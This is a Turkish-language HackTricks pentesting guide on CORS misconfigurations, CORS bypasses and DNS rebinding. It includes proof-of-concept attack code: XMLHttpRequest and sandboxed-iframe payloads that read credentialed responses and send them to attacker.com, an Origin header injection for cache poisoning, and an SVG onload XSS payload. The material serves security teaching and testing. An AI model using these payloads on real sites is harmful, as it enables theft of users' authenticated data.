hacktricks/src/pentesting-web/cors-bypass.md

419 lines
31 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CORS - Yanlış Yapılandırmalar & Bypass
{{#include ../banners/hacktricks-training.md}}
## CORS Nedir?
Cross-Origin Resource Sharing (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **hangi HTTP istek yöntemlerinin** dış kaynaklardan izin verildiğini tanımlamasını sağlar.
**Aynı köken** politikası, bir **kaynak talep eden** sunucu ile **kaynağı** barındıran sunucunun aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan ve porttan gelen web sayfalarının kaynaklara erişimine izin verilir.
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanışı aşağıdaki gibi gösterilmektedir:
| Erişilen URL | Erişime izin verildi mi? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port |
| `https://normal-website.com/example/` | Hayır: Farklı şema ve port |
| `http://en.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://www.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://normal-website.com:8080/example/` | Hayır: Farklı port\* |
\*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.
### `Access-Control-Allow-Origin` Başlığı
Bu başlık **birden fazla köken** izin verebilir, **`null`** değeri veya joker karakter **`*`** içerebilir. Ancak, **hiçbir tarayıcı birden fazla kökeni desteklemez** ve joker karakter `*` kullanımı **sınırlamalara** tabidir. (Joker karakter yalnızca tek başına kullanılmalı ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı yasaktır.)
Bu başlık, bir web sitesi tarafından başlatılan bir çapraz alan kaynak talebine yanıt olarak **bir sunucu tarafından verilir**, tarayıcı otomatik olarak bir `Origin` başlığı ekler.
### `Access-Control-Allow-Credentials` Başlığı
**Varsayılan olarak**, çapraz köken talepleri, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz alan sunucusu, `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.
`true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
```
```javascript
fetch(url, {
credentials: "include",
})
```
```javascript
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
```
### CSRF Ön Uçuş İsteği
### Alanlar Arası İletişimde Ön Uçuş İsteklerini Anlamak
Belirli koşullar altında, örneğin **standart olmayan bir HTTP yöntemi** (HEAD, GET, POST dışındaki herhangi bir şey) kullanıldığında, yeni **başlıklar** tanıtıldığında veya özel bir **Content-Type başlık değeri** kullanıldığında, bir ön uçuş isteği gerekli olabilir. Bu ön isteği, **`OPTIONS`** yöntemini kullanarak, sunucuya yaklaşan alanlar arası isteğin niyetlerini, kullanılacak HTTP yöntemlerini ve başlıklarını bildirmek için kullanılır.
**Cross-Origin Resource Sharing (CORS)** protokolü, istenen alanlar arası işlemin uygulanabilirliğini belirlemek için izin verilen yöntemleri, başlıkları ve kaynağın güvenilirliğini doğrulamak amacıyla bu ön uçuş kontrolünü zorunlu kılar. Ön uçuş isteği gereksinimini ortadan kaldıran koşulları detaylı bir şekilde anlamak için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Ön uçuş isteğinin yokluğunun, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** belirtmek önemlidir. Bu başlıklar olmadan, tarayıcı, alanlar arası isteğin yanıtını işleme yeteneğinden yoksundur.
`PUT` yöntemini ve `Special-Request-Header` adlı özel bir başlığı kullanmayı amaçlayan bir ön uçuş isteğinin aşağıdaki örneğine bakın:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Sunucu, aşağıda gösterildiği gibi, kabul edilen yöntemleri, izin verilen kökeni ve diğer CORS politika ayrıntılarını belirten başlıklar döndürebilir:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Bu başlık, gerçek istekte hangi başlıkların kullanılabileceğini belirtir. İstemciden gelen isteklerde izin verilen başlıkları göstermek için sunucu tarafından ayarlanır.
- **`Access-Control-Expose-Headers`**: Bu başlık aracılığıyla sunucu, istemciye basit yanıt başlıkları dışında hangi başlıkların yanıtın bir parçası olarak açığa çıkarılabileceğini bildirir.
- **`Access-Control-Max-Age`**: Bu başlık, bir ön uç isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini gösterir. Sunucu, bir ön uç isteği tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
- **`Access-Control-Request-Headers`**: Ön uç isteklerinde kullanılan bu başlık, istemci tarafından sunucuya hangi HTTP başlıklarını kullanmak istediğini bildirmek için ayarlanır.
- **`Access-Control-Request-Method`**: Ön uç isteklerinde de kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
- **`Origin`**: Bu başlık, tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kaynağını gösterir. Sunucu, gelen isteğin CORS politikası temelinde izin verilip verilmeyeceğini değerlendirmek için kullanır.
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) bir **GET/POST isteğinde ön uç isteği gönderilmez** (istek **doğrudan** gönderilir), ancak **yanıtın başlıklarına/gövdesine erişmek** istiyorsanız, bunun bir _Access-Control-Allow-Origin_ başlığı içermesi gerekir.\
**Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak yardımcı olabilir).**
### **Yerel Ağ İstekleri Ön Uç İsteği**
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğinde yerel ağ kaynağına yönelik bir sorgu olduğunu belirtmek için dahil edilir. İsteğin yerel ağdan geldiğini sunucuya bildirmek için bir işaretçi görevi görür.
2. **`Access-Control-Allow-Local-Network`**: Sunucular, yanıt olarak bu başlığı kullanarak istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletir. Farklı ağ sınırları arasında kaynakların paylaşımına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişim sağlar.
Yerel ağ isteğini izin veren **geçerli bir yanıt**, yanıtta `Access-Controls-Allow-Local_network: true` başlığını da içermelidir.
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
> [!WARNING]
> localhost'a erişim için bu gereksinimleri **bypass** etmek üzere linux **0.0.0.0** IP'sinin çalıştığını unutmayın, çünkü bu IP adresi "yerel" olarak kabul edilmez.
>
> Ayrıca, **yerel bir uç noktanın** **genel IP adresini** (örneğin, yönlendiricinin genel IP'si) kullanırsanız **Yerel Ağ gereksinimlerini bypass etmek** de mümkündür. Çünkü birçok durumda, **genel IP** erişiliyorsa, eğer **yerel ağdan** geliyorsa, erişim verilecektir.
### Wildcards
Aşağıdaki yapılandırmanın süper izin verici görünebileceğini unutmayın:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Bu, tarayıcılar tarafından izin verilmez ve bu nedenle kimlik bilgileri bu istekle gönderilmeyecektir.
## Sömürülebilir yanlış yapılandırmalar
`Access-Control-Allow-Credentials` ayarının **`true`** olarak belirlenmesinin çoğu **gerçek saldırılar** için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunu olmadan, bir tarayıcının istek yapmasının avantajı, bir kullanıcının çerezlerini kullanmanın imkansız hale gelmesi nedeniyle azalır.
### İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Sömürme
Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir ve IP tabanlı kimlik doğrulamasını aşarak intranet uygulamalarına erişim sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahiptir ancak sömürmesi daha basittir.
### `Origin`'in `Access-Control-Allow-Origin`'de Yansıması
Gerçek dünyadaki senaryoda `Origin` başlığının değeri `Access-Control-Allow-Origin`'de yansıtıldığında, bu teorik olarak bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle olası değildir. Ancak, birden fazla URL için CORS'u etkinleştirmek isteyen geliştiriciler, `Origin` başlığının değerini kopyalayarak `Access-Control-Allow-Origin` başlığını dinamik olarak oluşturabilirler. Bu yaklaşım, bir saldırganın meşru görünmek üzere tasarlanmış bir alan adı kullanması durumunda, doğrulama mantığını yanıltarak güvenlik açıkları oluşturabilir.
```html
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
```
### `null` Kaynağını Kullanma
`null` kaynağı, yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilmiştir ve benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kaynağı beyaz listeye alır ve bu da herhangi bir web sitesinin, CORS kısıtlamalarını aşarak, sandboxed iframe aracılığıyla `null` kaynağını taklit etmesine olanak tanır.
```html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
```html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Regular Expression Bypass Techniques
Bir alan beyaz listesi ile karşılaşıldığında, saldırganın alanını beyaz listeye alınmış bir alana eklemek veya alt alan ele geçirme açıklarını istismar etmek gibi geçiş fırsatlarını test etmek önemlidir. Ayrıca, alan doğrulaması için kullanılan düzenli ifadeler, alan adlandırma kurallarındaki nüansları gözden kaçırabilir ve bu da daha fazla geçiş fırsatı sunar.
### Advanced Regular Expression Bypasses
Regex desenleri genellikle alfanümerik, nokta (.) ve tire (-) karakterlerine odaklanır, diğer olasılıkları göz ardı eder. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içerecek şekilde oluşturulmuş bir alan adı, güvenlik kontrollerini geçebilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alışı, bu tür tutarsızlıkların alan doğrulama mantığını aşmak için nasıl istismar edilebileceğini göstermektedir.
**Bu geçiş kontrolü hakkında daha fazla bilgi ve ayarlar için:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **ve** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../images/image (284).png>)
### From XSS inside a subdomain
Geliştiriciler, CORS istismarına karşı koruma sağlamak için, bilgi talep etmeye izin verilen alanları beyaz listeye alarak savunma mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeye alınmış alanlar içinde tek bir savunmasız alt alanın varlığı, XSS (Cross-Site Scripting) gibi diğer açıklar aracılığıyla CORS istismarına kapı açabilir.
Örneğin, `requester.com` adlı bir alanın, `provider.com` adlı başka bir alandan kaynaklara erişim için beyaz listeye alındığı senaryoyu düşünün. Sunucu tarafı yapılandırması muhtemelen şöyle görünebilir:
```javascript
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
```
Bu kurulumda, `requester.com`'un tüm alt alan adlarına erişim izni verilmektedir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS açığı ile tehlikeye girerse, bir saldırgan bu zayıflıktan yararlanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS açığını kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetle erişebilir.
### **Özel Karakterler**
PortSwiggerın [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) bazı tarayıcıların alan adları içinde garip karakterleri desteklediğini bulmuştur.
Chrome ve Firefox, `Origin` başlığını doğrulamak için uygulanan regex'leri atlayabilen alt çizgileri `_` desteklemektedir:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari, alan adında özel karakterleri kabul etme konusunda daha da gevşektir:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Diğer eğlenceli URL hileleri**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### **Sunucu tarafı önbellek zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTP başlık enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesinden yararlanarak, depolanmış bir Cross-Site Scripting (XSS) açığı oluşturmak mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasadışı karakterler için temizlememesi durumunda ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar (0x0d) değerini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder ve bu da HTTP başlık enjeksiyonu zafiyetlerine yol açar.
`Origin` başlığının manipüle edildiği aşağıdaki isteği düşünün:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer ve Edge yanıtı şu şekilde yorumlar:
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Bu güvenlik açığını doğrudan istismar etmek için bir web tarayıcısının hatalı bir başlık göndermesi pratik değildir, ancak Burp Suite gibi araçlar kullanılarak özel bir istek manuel olarak oluşturulabilir. Bu yöntem, sunucu tarafında yanıtı kaydeden bir önbelleğin oluşmasına ve istemeden de olsa başkalarına sunulmasına yol açabilir. Özel yük, sayfanın karakter setini UTF-7 olarak değiştirmeyi amaçlar; bu, belirli bağlamlarda script olarak çalıştırılabilen karakterleri kodlama yeteneği nedeniyle genellikle XSS güvenlik açıkları ile ilişkilendirilen bir karakter kodlamasıdır.
Depolanan XSS güvenlik açıkları hakkında daha fazla bilgi için [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored) sayfasına bakın.
**Not**: HTTP başlık enjeksiyon güvenlik açıklarının, özellikle sunucu tarafı önbellek zehirlenmesi yoluyla istismar edilmesi, tüm kullanıcı tarafından sağlanan girdilerin, HTTP başlıkları da dahil olmak üzere, doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür güvenlik açıklarını önlemek için her zaman giriş doğrulamasını içeren sağlam bir güvenlik modeli uygulayın.
### **İstemci Tarafı Önbellek Zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenmektedir. Özellikle, web sayfası `X-User-id` başlığında yer alan içeriği geri yansıtmaktadır; bu içerik, yükleme sırasında JavaScript kodunu çalıştırmak üzere tasarlanmış bir SVG resim etiketi içerebilir.
Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıt doğrudan tarayıcı tarafından işlenmediğinde, bu tür bir enjeksiyonun faydası sınırlı görünebilir. Kritik nokta, tarayıcının önbellek davranışını dikkate almaktır. Eğer `Vary: Origin` başlığı belirtilmemişse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonrasında, bu önbelleğe alınmış yanıt, URL'ye gidildiğinde doğrudan işlenebilir ve ilk istekte doğrudan işleme gereksinimini atlayabilir. Bu mekanizma, istemci tarafı önbelleklemesini kullanarak saldırının güvenilirliğini artırır.
Bu saldırıyı göstermek için, bir web sayfası ortamında çalıştırılmak üzere tasarlanmış bir JavaScript örneği sağlanmıştır; örneğin bir JSFiddle aracılığıyla. Bu script basit bir işlem gerçekleştirir: kötü niyetli JavaScript içeren özel bir başlıkla belirli bir URL'ye istek gönderir. İstek başarıyla tamamlandığında, hedef URL'ye yönelmeye çalışır; eğer yanıt `Vary: Origin` başlığı uygun şekilde işlenmeden önbelleğe alınmışsa, enjekte edilen scriptin çalıştırılmasını tetikleyebilir.
Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özet bir dökümü:
```html
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
```
## Bypass
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, ayrıca Cross-Site Script Inclusion olarak bilinir, Same Origin Policy (SOP) uygulandığında script etiketi kullanarak kaynakları dahil etmenin bir tür zafiyetidir. Bunun nedeni, scriptlerin farklı alanlardan dahil edilebilmesi gerekliliğidir. Bu zafiyet, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır.
Bu zafiyet, dinamik JavaScript veya JSONP (Padding ile JSON) söz konusu olduğunda özellikle önemlidir, özellikle kimlik doğrulama için çerezler gibi ortam yetkisi bilgileri kullanıldığında. Farklı bir hosttan bir kaynak talep edildiğinde, çerezler dahil edilir ve bu da saldırgana erişim sağlar.
Bu zafiyeti daha iyi anlamak ve hafifletmek için [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan BurpSuite eklentisini kullanabilirsiniz. Bu eklenti, web uygulamalarınızdaki potansiyel XSSI zafiyetlerini tanımlamaya ve ele almaya yardımcı olabilir.
[**XSSI'nin farklı türleri ve bunları nasıl istismar edeceğiniz hakkında daha fazla bilgi edinin.**](xssi-cross-site-script-inclusion.md)
Talepte bir **`callback`** **parametresi** eklemeyi deneyin. Belki de sayfa verileri JSONP olarak göndermeye hazırlanmıştır. Bu durumda, sayfa `Content-Type: application/javascript` ile verileri geri gönderecektir ve bu da CORS politikasını aşacaktır.
![](<../images/image (856).png>)
### Easy (gereksiz?) bypass
`Access-Control-Allow-Origin` kısıtlamasını aşmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını istemek ve yanıtı geri göndermesini sağlamaktır. Ancak, bu senaryoda, nihai kurbanın kimlik bilgileri, istek farklı bir alana yapıldığı için gönderilmeyecektir.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve ayrıca Origin başlığını istenen alanla eşleşecek şekilde sahte bir şekilde ayarlar. Bu, CORS politikasını etkili bir şekilde aşar. İşte XMLHttpRequest ile bir örnek kullanım:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Bu araç, istekleri proxylemek için alternatif bir yaklaşım sunar. İsteğinizi olduğu gibi iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.
### Iframe + Popup Bypass
`e.origin === window.origin` gibi CORS kontrollerini **bir iframe oluşturarak** ve **ondan yeni bir pencere açarak** **aşabilirsiniz**. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{{#ref}}
xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### TTL ile DNS Rebinding
TTL ile DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini aşmak için kullanılan bir tekniktir. İşte nasıl çalıştığı:
1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan, kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirecek şekilde değiştirir.
3. Kurbanın tarayıcısı, DNS yanıtını önbelleğe alır; bu yanıtın geçerlilik süresini belirten bir TTL (Time to Live) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar ve bu, saldırgana kurbanın sayfasında JavaScript kodu çalıştırma imkanı tanır.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurban sunucusuna herhangi bir çerez göndermeden bilgi toplayabilir.
Tarayıcıların, bu tekniğin hemen kötüye kullanılmasını önleyebilecek önbellekleme mekanizmalarına sahip olduğunu belirtmek önemlidir, hatta düşük TTL değerleriyle bile.
DNS rebinding, kurbanın gerçekleştirdiği açık IP kontrollerini aşmak veya bir kullanıcının veya botun uzun bir süre boyunca aynı sayfada kalması durumlarında yararlı olabilir; bu, önbelleğin süresinin dolmasına olanak tanır.
DNS rebinding'i kötüye kullanmanın hızlı bir yoluna ihtiyacınız varsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, ona işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com) ve daha önce oluşturulan A alt alanına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı, ardından sizin hostunuz tarafından çözülecektir.
Ayrıca, daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde kamuya açık bir sunucu keşfedebilirsiniz.
### DNS Rebinding via **DNS Cache Flooding**
DNS cache flooding ile DNS rebinding, tarayıcıların önbellekleme mekanizmasını aşmak ve ikinci bir DNS isteği zorlamak için kullanılan başka bir tekniktir. İşte nasıl çalıştığı:
1. İlk olarak, kurban bir DNS isteği yaptığında, saldırganın IP adresi ile yanıtlanır.
2. Önbellek savunmasını aşmak için saldırgan bir hizmet çalışanı kullanır. Hizmet çalışanı, DNS önbelleğini doldurarak, önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yaptığında, artık 127.0.0.1 IP adresi ile yanıtlanır; bu genellikle localhost'u ifade eder.
Hizmet çalışanı ile DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istekte bulunmaya zorlayabilir; bu sefer saldırganın istediği IP adresine çözülür.
### DNS Rebinding via **Cache**
Önbellek savunmasını aşmanın bir başka yolu, DNS sağlayıcısında aynı alt alan için birden fazla IP adresi kullanmaktır. İşte nasıl çalıştığı:
1. Saldırgan, DNS sağlayıcısında aynı alt alan için iki A kaydı (veya iki IP ile tek bir A kaydı) oluşturur.
2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı, saldırganın IP adresini önce kullanmaya karar verirse, saldırgan aynı alan adına HTTP istekleri gerçekleştiren bir yük sunabilir.
4. Ancak, saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermeyi durdurur.
5. Kurbanın tarayıcısı, alanın yanıt vermediğini fark ettiğinde, verilen ikinci IP adresini kullanmaya geçer.
6. İkinci IP adresine erişerek, tarayıcı Same Origin Policy (SOP) kuralını aşar ve saldırganın bunu kötüye kullanmasına ve bilgi toplamasına olanak tanır.
Bu teknik, bir alan için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi istismar edebilir ve kurbandan bilgi alabilir.
> [!WARNING]
> localhost'a erişmek için Windows'ta **127.0.0.1** ve Linux'ta **0.0.0.0** yeniden bağlamayı denemelisiniz.\
> Godaddy veya Cloudflare gibi sağlayıcılar 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, "0.0.0.0" olan 2 IP ile bir A kaydı oluşturmama izin verdi.
>
> <img src="../images/image (140).png" alt="" data-size="original">
Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) adresini kontrol edebilirsiniz.
### Diğer Yaygın Bypass'lar
- Eğer **iç IP'ler yasaklanmışsa**, **0.0.0.0'ı yasaklamayı unutmuş olabilirler** (Linux ve Mac'te çalışır)
- Eğer **iç IP'ler yasaklanmışsa**, **localhost** için bir **CNAME** ile yanıt verin (Linux ve Mac'te çalışır)
- Eğer **iç IP'ler** DNS yanıtları olarak yasaklanmışsa, **www.corporate.internal** gibi **iç hizmetlere CNAME'ler** ile yanıt verebilirsiniz.
### DNS Rebidding Silahlandırılmış
Önceki bypass teknikleri ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi bulabilirsiniz [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) konuşmasında.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli bileşenleri içerir.
### DNS Rebinding'e Karşı Gerçek Koruma
- İç hizmetlerde TLS kullanın
- Verilere erişim için kimlik doğrulama isteyin
- Host başlığını doğrulayın
- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Kamu sunucularının iç sunuculara erişmek istediğinde her zaman bir ön uç isteği göndermesi önerisi
## **Araçlar**
**CORS politikalarındaki olası yanlış yapılandırmaları test edin**
- [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
- [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
- [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
- [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
- [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
- [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
## Referanslar
- [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
- [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
- [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
- [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
- [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
- [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
- [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
{{#include ../banners/hacktricks-training.md}}